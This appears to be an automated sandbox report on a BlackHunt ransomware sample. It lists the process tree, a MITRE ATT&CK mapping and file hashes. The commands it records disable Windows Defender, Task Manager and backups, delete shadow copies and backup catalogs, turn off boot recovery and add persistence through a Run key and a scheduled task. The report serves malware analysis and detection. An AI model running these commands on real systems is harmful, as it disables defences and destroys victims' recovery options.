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C:\Users\Admin\AppData\Local\Temp\dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe"C:\Users\Admin\AppData\Local\Temp\dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4804 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:988 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:1640
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4516 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:4648
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4424 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:348
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:4128
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:4148
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:560 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵PID:260
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:824
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:856
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:4204
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1144
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2856
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:1960
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:4556
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:1872
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:4768
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:2952
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2988
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:1732
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:1476
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:2004
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:3692
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:4656
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:3348
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:5128
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:5116
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:2968
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:5056
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:5148
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2908
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:5308
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:468
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:5536
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:3460
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:5704
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:1512
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:5720
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:4408
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:5712
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1244
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:5748
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:4376
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:5844
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2992
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:5828
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:3364
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:5736
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe" /F2⤵PID:3112
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe" /F3⤵
- Creates scheduled task(s)
PID:6116
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:3196
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:5836
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:1992
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:5588
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2412
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:5572
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2356
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:5368
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:4620
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:5884
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1136
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:6028
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:3484
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:5956
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1760
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:6100
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1624
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:6108
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:460
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:5192
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:5136
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:6076
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2996
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:6084
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:5080
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:6092
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:684
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:6068
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Adds Run key to start application
PID:260
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5896
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4516
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:4080
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:4048
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
4Replay Monitor
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Downloads
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Filesize
1KB
MD5696260aabaad32e43718b0825f9407c7
SHA1400ce4aae565dd6527897cc10ef453c06f2377c2
SHA256f1885688d4cc2a4f6039f3883f1da8df19c71e5341c49d425aeb5ceaccf5b5ee
SHA5120565c1ef58f42a1ec391fff393a94e3c53475081a720cbe7ca73fe90c170190c39f548430eb61695de7615113229da72c1c40aa9e7e3fa2b809f0921c163d905
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Filesize
12KB
MD56aa478d9f5d231f5755da674e65bd32e
SHA16203d04e67fc5dfcd64c71f84e281bee144a40d5
SHA256e112cfdabc228bb91a20ab8f91b14c6ea54624fb1dedc3d802e748ab522c520d
SHA512fd731e1208e1cb206c54f873c311b98517b139274656a9a949dde0edcb5cbd197d34f4b1225eee55b96cdf53ae74e58155af237666ed0800b8457821cc03c9f6
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Filesize
684B
MD5fdbafedf9dd2589cf78b9cd5168c3828
SHA13570a20de7b5aa9549796c02cc17d246e776094f
SHA256ccbeb2764bcdbe7aee02aa3741bb3793f375702976cedcc7c0d577a78e9fb988
SHA512297e8cfb090eba52cef94d91057c414f7b9f78e4c7f679e6552a8f7fbc94bd124da23b35421f399dd9b2f2cd6f40c053e247b092b70de868c114422e4d6e4ba2